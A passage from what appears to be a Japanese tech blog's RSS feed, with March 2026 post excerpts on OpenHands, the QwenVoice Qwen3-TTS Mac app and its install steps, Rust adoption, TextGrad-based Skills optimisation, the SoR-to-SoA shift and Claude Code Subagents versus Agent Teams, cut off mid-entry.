&lt;h2 id="llmランタイムエージェントの-3-層構造における位置づけ"&gt;LLM・ランタイム・エージェントの 3 層構造における位置づけ&lt;/h2&gt;
&lt;p&gt;AI ツールを理解する上で、3 つの層を区別することが重要です。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;あなた
↓ 「このバグを直して」
エージェント（OpenHands） ← コードを読み、修正し、テストを実行する「ドライバー」
↓ 「この質問を LLM に投げて」
ランタイム（Ollama 等） ← LLM を動かす「エンジン」
↓
LLM（Qwen3, Claude 等） ← 回答を生成する「頭脳」
&lt;/code&gt;&lt;/pre&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;層&lt;/th&gt;
&lt;th&gt;役割&lt;/th&gt;
&lt;th&gt;OpenHands の場合&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LLM&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;言語理解・コード生成&lt;/td&gt;
&lt;td&gt;Claude, GPT, Qwen3 など（選択可能）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ランタイム&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;LLM の実行環境&lt;/td&gt;
&lt;td&gt;Anthropic API / OpenAI API / Ollama&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;エージェント&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;自律的にタスクを遂行&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;OpenHands がここ&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;OpenHands の最大の特徴は&lt;strong&gt;モデル非依存&lt;/strong&gt;であることです。クラウド API（Claude, GPT）でも、ローカル LLM（Ollama + Qwen3）でも動作します。&lt;/p&gt;</description></item><item><title>QwenVoice --- Mac でボイスクローニング・感情表現・音声デザインを完全オフラインで実現する Qwen3-TTS アプリ</title><link>https://hdknr.github.io/blogs/posts/2026/03/qwenvoice---mac-%E3%81%A7%E3%83%9C%E3%82%A4%E3%82%B9%E3%82%AF%E3%83%AD%E3%83%BC%E3%83%8B%E3%83%B3%E3%82%B0%E6%84%9F%E6%83%85%E8%A1%A8%E7%8F%BE%E9%9F%B3%E5%A3%B0%E3%83%87%E3%82%B6%E3%82%A4%E3%83%B3%E3%82%92%E5%AE%8C%E5%85%A8%E3%82%AA%E3%83%95%E3%83%A9%E3%82%A4%E3%83%B3%E3%81%A7%E5%AE%9F%E7%8F%BE%E3%81%99%E3%82%8B-qwen3-tts-%E3%82%A2%E3%83%97%E3%83%AA/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/qwenvoice---mac-%E3%81%A7%E3%83%9C%E3%82%A4%E3%82%B9%E3%82%AF%E3%83%AD%E3%83%BC%E3%83%8B%E3%83%B3%E3%82%B0%E6%84%9F%E6%83%85%E8%A1%A8%E7%8F%BE%E9%9F%B3%E5%A3%B0%E3%83%87%E3%82%B6%E3%82%A4%E3%83%B3%E3%82%92%E5%AE%8C%E5%85%A8%E3%82%AA%E3%83%95%E3%83%A9%E3%82%A4%E3%83%B3%E3%81%A7%E5%AE%9F%E7%8F%BE%E3%81%99%E3%82%8B-qwen3-tts-%E3%82%A2%E3%83%97%E3%83%AA/</guid><description>&lt;h1 id="qwenvoice--mac-でボイスクローニング感情表現音声デザインを完全オフラインで実現する-qwen3-tts-アプリ"&gt;QwenVoice &amp;mdash; Mac でボイスクローニング・感情表現・音声デザインを完全オフラインで実現する Qwen3-TTS アプリ&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/ai_hakase_/status/2028713487686389785"&gt;@ai_hakase_ 氏が X で紹介&lt;/a&gt;した、Mac 向け音声生成アプリ「QwenVoice」が注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;【Mac で革命】Qwen3-TTS 搭載の最強音声生成アプリ「QwenVoice」。ボイスクローニングや感情表現が Mac で爆速！Apple Silicon 最適化でオフライン動作も完璧です。面倒な設定なしでプロ級のナレーションを生成可能。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;QwenVoice は、Alibaba Cloud の Qwen チームが開発したオープンソース TTS モデル「Qwen3-TTS」を Apple Silicon Mac でネイティブに動かす GUI アプリです。Python のインストールもターミナル操作も不要で、ドラッグ &amp;amp; ドロップだけで使い始められます。本記事では、QwenVoice の機能と Qwen3-TTS の技術的な仕組みを解説します。&lt;/p&gt;
&lt;h2 id="qwenvoice-の概要"&gt;QwenVoice の概要&lt;/h2&gt;
&lt;h3 id="何ができるのか"&gt;何ができるのか&lt;/h3&gt;
&lt;p&gt;QwenVoice は 3 つの音声生成モードを提供します。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;モード&lt;/th&gt;
&lt;th&gt;機能&lt;/th&gt;
&lt;th&gt;使い方&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Custom Voice&lt;/td&gt;
&lt;td&gt;プリセット音声で読み上げ&lt;/td&gt;
&lt;td&gt;4 種類の英語話者（Ryan, Aiden, Serena, Vivian）から選択&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Voice Design&lt;/td&gt;
&lt;td&gt;自然言語で新しい声を作る&lt;/td&gt;
&lt;td&gt;「落ち着いた男性の低い声」のようにテキストで指示&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Voice Cloning&lt;/td&gt;
&lt;td&gt;既存の声を複製&lt;/td&gt;
&lt;td&gt;5〜10 秒の音声サンプルから声を再現&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;3 つのモードすべてが &lt;strong&gt;100% オフライン&lt;/strong&gt;で動作します。音声データがクラウドに送信されることはありません。&lt;/p&gt;
&lt;h3 id="システム要件"&gt;システム要件&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;要件&lt;/th&gt;
&lt;th&gt;スペック&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;OS&lt;/td&gt;
&lt;td&gt;macOS 14.0（Sonoma）以上&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;プロセッサ&lt;/td&gt;
&lt;td&gt;Apple Silicon（M1 / M2 / M3 / M4）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;メモリ&lt;/td&gt;
&lt;td&gt;8 GB 以上推奨&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="インストール手順"&gt;インストール手順&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 1. GitHub Releases から QwenVoice.dmg をダウンロード&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 2. /Applications にドラッグ&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 3. 検疫属性を解除（署名なしのため）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;xattr -cr &lt;span style="color:#e6db74"&gt;&amp;#34;/Applications/QwenVoice.app&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 4. アプリを起動 → Models タブ → モデルをダウンロード → 生成開始&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Python 環境の構築やライブラリのインストールは&lt;strong&gt;アプリが自動で行います&lt;/strong&gt;。ユーザーが触るのは GUI だけです。&lt;/p&gt;</description></item><item><title>Rust の仕事が増えていく理由 — インフラコスト削減の圧力と LLM が学習コストを消し去る構造変化</title><link>https://hdknr.github.io/blogs/posts/2026/03/rust-%E3%81%AE%E4%BB%95%E4%BA%8B%E3%81%8C%E5%A2%97%E3%81%88%E3%81%A6%E3%81%84%E3%81%8F%E7%90%86%E7%94%B1-%E3%82%A4%E3%83%B3%E3%83%95%E3%83%A9%E3%82%B3%E3%82%B9%E3%83%88%E5%89%8A%E6%B8%9B%E3%81%AE%E5%9C%A7%E5%8A%9B%E3%81%A8-llm-%E3%81%8C%E5%AD%A6%E7%BF%92%E3%82%B3%E3%82%B9%E3%83%88%E3%82%92%E6%B6%88%E3%81%97%E5%8E%BB%E3%82%8B%E6%A7%8B%E9%80%A0%E5%A4%89%E5%8C%96/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/rust-%E3%81%AE%E4%BB%95%E4%BA%8B%E3%81%8C%E5%A2%97%E3%81%88%E3%81%A6%E3%81%84%E3%81%8F%E7%90%86%E7%94%B1-%E3%82%A4%E3%83%B3%E3%83%95%E3%83%A9%E3%82%B3%E3%82%B9%E3%83%88%E5%89%8A%E6%B8%9B%E3%81%AE%E5%9C%A7%E5%8A%9B%E3%81%A8-llm-%E3%81%8C%E5%AD%A6%E7%BF%92%E3%82%B3%E3%82%B9%E3%83%88%E3%82%92%E6%B6%88%E3%81%97%E5%8E%BB%E3%82%8B%E6%A7%8B%E9%80%A0%E5%A4%89%E5%8C%96/</guid><description>&lt;h1 id="rust-の仕事が増えていく理由--インフラコスト削減の圧力と-llm-が学習コストを消し去る構造変化"&gt;Rust の仕事が増えていく理由 — インフラコスト削減の圧力と LLM が学習コストを消し去る構造変化&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/helloyuki_/status/2029019523219873847"&gt;@helloyuki_ 氏のポスト&lt;/a&gt;が、Zenn の記事を紹介し反響を呼んでいます（いいね 177、ブックマーク 124）。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;前職の同僚がなんか書いてた。広告配信でRustを採用した際のインフラ費の話を聞いた気がするんだけど、たしかにRustにするとこんなに削減できるのかと思った記憶がある🤔&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;引用元は yukinarit 氏による Zenn 記事「&lt;a href="https://zenn.dev/yukinarit/articles/e3fd03a62c3da0"&gt;Rustの仕事が増えていく理由&lt;/a&gt;」。地図・ゲーム・証券・広告・メッセージングと多様な業界で Rust を使ってきたエンジニアが、なぜ Rust の仕事が増えていくのかを構造的に分析した記事です。&lt;/p&gt;
&lt;p&gt;本記事では、元記事の論点を整理し、企業の実績データとLLM時代の変化を加えて解説します。&lt;/p&gt;
&lt;h2 id="rust-採用の構造的理由--2軸モデル"&gt;Rust 採用の構造的理由 — 2軸モデル&lt;/h2&gt;
&lt;h3 id="性能要求--開発コストの2軸"&gt;性能要求 × 開発コストの2軸&lt;/h3&gt;
&lt;p&gt;元記事が提示するフレームワークは、言語選定を&lt;strong&gt;性能要求&lt;/strong&gt;と&lt;strong&gt;開発コスト許容度&lt;/strong&gt;の2軸で整理するものです。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; 高性能要求
↑
領域D | 領域C
Rust / C++ | ML研究等
|
───────────────┼───────────────→ 高コスト許容
|
領域B | 領域A
Go / Java | Ruby / Python
| TypeScript
低性能要求
&lt;/code&gt;&lt;/pre&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;領域&lt;/th&gt;
&lt;th&gt;言語&lt;/th&gt;
&lt;th&gt;典型的なプロダクト&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;A（低性能・低コスト）&lt;/td&gt;
&lt;td&gt;Ruby, Python, TypeScript&lt;/td&gt;
&lt;td&gt;Web アプリ、管理画面、MVP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;B（中性能・中コスト）&lt;/td&gt;
&lt;td&gt;Go, Java, C#&lt;/td&gt;
&lt;td&gt;マイクロサービス、API サーバー&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;C（低性能・高コスト）&lt;/td&gt;
&lt;td&gt;Python + CUDA&lt;/td&gt;
&lt;td&gt;機械学習研究&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;D（高性能・高コスト）&lt;/td&gt;
&lt;td&gt;Rust, C++&lt;/td&gt;
&lt;td&gt;HFT、ゲームエンジン、広告配信&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="領域-b--d-への圧力"&gt;領域 B → D への圧力&lt;/h3&gt;
&lt;p&gt;重要なのは、&lt;strong&gt;クラウドの普及が領域 B のプロダクトを領域 D に押し上げている&lt;/strong&gt;ことです。オンプレミス時代はサーバーを買い切りだったため、CPU やメモリの使用効率が直接コストに響きにくかった。しかしクラウドでは CPU 時間・メモリ量が従量課金されるため、「Go/Java で十分」だったサービスが&lt;strong&gt;コスト削減のために Rust を検討する&lt;/strong&gt;フェーズに入っています。&lt;/p&gt;</description></item><item><title>Skills の自動最適化 — TextGrad を応用して提案書生成スキルを「学習」させる実験と過学習の発見</title><link>https://hdknr.github.io/blogs/posts/2026/03/skills-%E3%81%AE%E8%87%AA%E5%8B%95%E6%9C%80%E9%81%A9%E5%8C%96-textgrad-%E3%82%92%E5%BF%9C%E7%94%A8%E3%81%97%E3%81%A6%E6%8F%90%E6%A1%88%E6%9B%B8%E7%94%9F%E6%88%90%E3%82%B9%E3%82%AD%E3%83%AB%E3%82%92%E5%AD%A6%E7%BF%92%E3%81%95%E3%81%9B%E3%82%8B%E5%AE%9F%E9%A8%93%E3%81%A8%E9%81%8E%E5%AD%A6%E7%BF%92%E3%81%AE%E7%99%BA%E8%A6%8B/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/skills-%E3%81%AE%E8%87%AA%E5%8B%95%E6%9C%80%E9%81%A9%E5%8C%96-textgrad-%E3%82%92%E5%BF%9C%E7%94%A8%E3%81%97%E3%81%A6%E6%8F%90%E6%A1%88%E6%9B%B8%E7%94%9F%E6%88%90%E3%82%B9%E3%82%AD%E3%83%AB%E3%82%92%E5%AD%A6%E7%BF%92%E3%81%95%E3%81%9B%E3%82%8B%E5%AE%9F%E9%A8%93%E3%81%A8%E9%81%8E%E5%AD%A6%E7%BF%92%E3%81%AE%E7%99%BA%E8%A6%8B/</guid><description>&lt;h1 id="skills-の自動最適化--textgrad-を応用して提案書生成スキルを学習させる実験と過学習の発見"&gt;Skills の自動最適化 — TextGrad を応用して提案書生成スキルを「学習」させる実験と過学習の発見&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/yusuke_post"&gt;@yusuke_post 氏&lt;/a&gt;が、Claude Code の Skills を深層学習の手法で自動最適化する実験を公開し、大きな反響を呼んでいます。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://x.com/yusuke_post/status/2027348800331972703"&gt;最初のポスト&lt;/a&gt;（いいね 1,226、ブックマーク 2,265）では TextGrad を応用した Skills 最適化の概念を紹介し、&lt;a href="https://x.com/yusuke_post/status/2028757271703126347"&gt;続報のポスト&lt;/a&gt;（いいね 126、ブックマーク 132）では追加実験の結果として以下の知見を報告しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;わかったのは、
・３イテレーションくらいで過学習する。
・１回だけでなく、3回くらいイテレーションを回すことで徐々にスコアが改善する。
・学習を始めて最初の方は、「提案書に何を書くか」を学び出して、最後の方では「提案書のそれぞれの項目をどう書くか」を自動で学習する。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;特に「&lt;strong&gt;全体最適→局所最適の順番で AI が自動で学んだ&lt;/strong&gt;」という発見は、深層学習の訓練過程と同様の振る舞いが Markdown のプロンプトでも起きることを示唆しています。本記事では、この実験の背景・手法・発見を解説します。&lt;/p&gt;
&lt;h2 id="textgrad-とは何か"&gt;TextGrad とは何か&lt;/h2&gt;
&lt;h3 id="テキスト版の誤差逆伝播"&gt;「テキスト版の誤差逆伝播」&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://textgrad.com/"&gt;TextGrad&lt;/a&gt;（&lt;a href="https://arxiv.org/abs/2406.07496"&gt;論文: arXiv 2406.07496&lt;/a&gt;）は、Stanford 大学の Zou グループが開発し、Nature に掲載されたフレームワークです。深層学習における誤差逆伝播（backpropagation）の概念を、テキストに適用します。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[深層学習の最適化]
入力 → ニューラルネット → 出力 → 損失関数 → 勾配計算 → パラメータ更新
↑ 数値の勾配
[TextGrad の最適化]
入力 → LLM → 出力 → 評価（LLM） → テキスト勾配 → プロンプト更新
↑ 自然言語のフィードバック
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;従来の深層学習では数値的な勾配を計算してパラメータを更新しますが、TextGrad では &lt;strong&gt;LLM が自然言語で「どう改善すべきか」をフィードバック&lt;/strong&gt;し、それを「テキスト勾配」としてプロンプトを更新します。&lt;/p&gt;</description></item><item><title>SoRからSoAへ — エージェント時代に業務ソフトウェアの「どの層」が死ぬのか</title><link>https://hdknr.github.io/blogs/posts/2026/03/sor%E3%81%8B%E3%82%89soa%E3%81%B8-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E6%99%82%E4%BB%A3%E3%81%AB%E6%A5%AD%E5%8B%99%E3%82%BD%E3%83%95%E3%83%88%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%AE%E3%81%A9%E3%81%AE%E5%B1%A4%E3%81%8C%E6%AD%BB%E3%81%AC%E3%81%AE%E3%81%8B/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/sor%E3%81%8B%E3%82%89soa%E3%81%B8-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E6%99%82%E4%BB%A3%E3%81%AB%E6%A5%AD%E5%8B%99%E3%82%BD%E3%83%95%E3%83%88%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%AE%E3%81%A9%E3%81%AE%E5%B1%A4%E3%81%8C%E6%AD%BB%E3%81%AC%E3%81%AE%E3%81%8B/</guid><description>&lt;h1 id="sor-から-soa-へ--エージェント時代に業務ソフトウェアのどの層が死ぬのか"&gt;SoR から SoA へ — エージェント時代に業務ソフトウェアの「どの層」が死ぬのか&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/110110110110"&gt;Yuichiro Ito(@110110110110)&lt;/a&gt; 氏（Finatext CFO）が、AIエージェント時代における業務ソフトウェアの構造変化を分析した note 記事を公開しました。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「SaaS is Dead」の議論が盛り上がっていますが、「死ぬか死なないか」の二者択一ではなく、もっと本質的な構造変化が起きていると思っています。UIレイヤーの価値は消滅し、SoRが長年築いてきた Moat も弱体化し、独占寡占が当たり前だった SoR 市場に、千載一遇のチャンスが生まれています。
— &lt;a href="https://x.com/110110110110/status/2029052157295771867"&gt;@110110110110&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;元記事: &lt;a href="https://note.com/110_110_110/n/n62dcab9a0725"&gt;【SoR→SoA】エージェント時代に訪れる千載一遇のチャンス&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;「SaaS は死ぬのか？」という問いは不毛です。正しい問いは「&lt;strong&gt;業務ソフトウェアのどの層の価値が、どう変わるのか？&lt;/strong&gt;」です。本記事では、伊藤氏の論考を軸に、SoR（System of Record）から SoA（System of Action）への構造変化を解説します。&lt;/p&gt;
&lt;h2 id="saas-is-dead論争の経緯"&gt;「SaaS is Dead」論争の経緯&lt;/h2&gt;
&lt;p&gt;2026 年に入り、「SaaS の終焉」を巡る議論が急速に加熱しています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;時期&lt;/th&gt;
&lt;th&gt;出来事&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2024 年末&lt;/td&gt;
&lt;td&gt;Microsoft CEO ナデラ氏が「AIエージェントが主流になれば従来型 SaaS が崩壊する可能性」に言及&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025 年&lt;/td&gt;
&lt;td&gt;YC パートナー Jared Friedman 氏が「&lt;a href="https://www.ycombinator.com/library/Lt-vertical-ai-agents-could-be-10x-bigger-than-saas"&gt;Vertical AI Agents は SaaS の 10 倍の市場規模になる&lt;/a&gt;」と予測&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026 年 1 月&lt;/td&gt;
&lt;td&gt;Anthropic が Claude Opus 4.6 と Cowork を発表。SaaS 銘柄が急落し、約 43 兆円の時価総額が消失&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026 年 2 月&lt;/td&gt;
&lt;td&gt;OpenAI CEO Sam Altman がシスコ AI サミットで「SaaS is Dead」を宣言&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026 年 3 月&lt;/td&gt;
&lt;td&gt;英語圏で「SaaSocalypse（SaaS の黙示録）」という新語が登場&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Sam Altman が提示したのは「Software as a Service」から「&lt;strong&gt;Service as Software&lt;/strong&gt;」への反転です。人間がソフトウェアを操作するのではなく、AI が主体的にサービスを提供する世界への転換を意味しています。&lt;/p&gt;</description></item><item><title>Subagent と Agent Teams の違い — 「働くエージェント」と「議論するエージェント」を設計レイヤで理解する</title><link>https://hdknr.github.io/blogs/posts/2026/03/subagent-%E3%81%A8-agent-teams-%E3%81%AE%E9%81%95%E3%81%84-%E5%83%8D%E3%81%8F%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%A8%E8%AD%B0%E8%AB%96%E3%81%99%E3%82%8B%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%92%E8%A8%AD%E8%A8%88%E3%83%AC%E3%82%A4%E3%83%A4%E3%81%A7%E7%90%86%E8%A7%A3%E3%81%99%E3%82%8B/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/subagent-%E3%81%A8-agent-teams-%E3%81%AE%E9%81%95%E3%81%84-%E5%83%8D%E3%81%8F%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%A8%E8%AD%B0%E8%AB%96%E3%81%99%E3%82%8B%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%92%E8%A8%AD%E8%A8%88%E3%83%AC%E3%82%A4%E3%83%A4%E3%81%A7%E7%90%86%E8%A7%A3%E3%81%99%E3%82%8B/</guid><description>&lt;h1 id="subagent-と-agent-teams-の違い--働くエージェントと議論するエージェントを設計レイヤで理解する"&gt;Subagent と Agent Teams の違い — 「働くエージェント」と「議論するエージェント」を設計レイヤで理解する&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/dify_base/status/2029110186024325273"&gt;@dify_base 氏のポスト&lt;/a&gt;が、Claude Code の Subagent と Agent Teams の違いを図解で整理しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Claude Code の「Subagent」と「Agent Teams」の違い、意外と知らない人が多いので、図解で整理しました👇&lt;/p&gt;
&lt;p&gt;✅Subagent → 調査して結果を返すだけの部下
✅Agent Teams → 複数AIが議論・協力する自律チーム&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;この2つの機能は名前が似ていて混同しやすいですが、設計思想が根本的に異なります。本記事では、&lt;a href="https://code.claude.com/docs/en/agent-teams"&gt;公式ドキュメント&lt;/a&gt;と &lt;a href="https://qiita.com/nogataka/items/df6c43496b2da9d41311"&gt;Qiita の設計レイヤ分析記事&lt;/a&gt;を基に、両者の違いを構造的に解説します。&lt;/p&gt;
&lt;h2 id="一言で言う違い"&gt;一言で言う違い&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://qiita.com/nogataka/items/df6c43496b2da9d41311"&gt;Qiita の記事&lt;/a&gt;が最も端的に表現しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Subagent は「働くエージェント」、Agent Teams は「議論するエージェント」&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Subagent&lt;/th&gt;
&lt;th&gt;Agent Teams&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;一言で&lt;/td&gt;
&lt;td&gt;調査して結果を返す部下&lt;/td&gt;
&lt;td&gt;議論・協力する自律チーム&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;比喩&lt;/td&gt;
&lt;td&gt;上司に報告するだけの社員&lt;/td&gt;
&lt;td&gt;横で相談し合うプロジェクトチーム&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="構造的な違い--通信モデルが本質"&gt;構造的な違い — 通信モデルが本質&lt;/h2&gt;
&lt;h3 id="subagent-スター型親子通信のみ"&gt;Subagent: スター型（親子通信のみ）&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; メインエージェント
／ ｜ ＼
Subagent Subagent Subagent
(Explore) (Plan) (general)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Subagent はメインエージェントの&lt;strong&gt;単一セッション内&lt;/strong&gt;で動作します。結果をメインエージェントに返すことしかできず、Subagent 同士は直接通信できません。&lt;/p&gt;
&lt;h3 id="agent-teams-メッシュ型全方向通信"&gt;Agent Teams: メッシュ型（全方向通信）&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; リード（チームリーダー）
／ ｜ ＼
Teammate Teammate Teammate
(API) (UI) (Test)
＼ ｜ ／
共有タスクリスト
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Agent Teams のメンバーは&lt;strong&gt;完全に独立したセッション&lt;/strong&gt;として動作し、互いに直接メッセージを送受信できます。リードを介さずに横の連携が可能です。&lt;/p&gt;</description></item><item><title>Theatre.js — GUI でWebアニメーションを直感的に作れるモーションデザインエディタ</title><link>https://hdknr.github.io/blogs/posts/2026/03/theatre.js-gui-%E3%81%A7web%E3%82%A2%E3%83%8B%E3%83%A1%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%82%92%E7%9B%B4%E6%84%9F%E7%9A%84%E3%81%AB%E4%BD%9C%E3%82%8C%E3%82%8B%E3%83%A2%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%83%87%E3%82%B6%E3%82%A4%E3%83%B3%E3%82%A8%E3%83%87%E3%82%A3%E3%82%BF/</link><pubDate>Wed, 04 Mar 2026 00:00:00 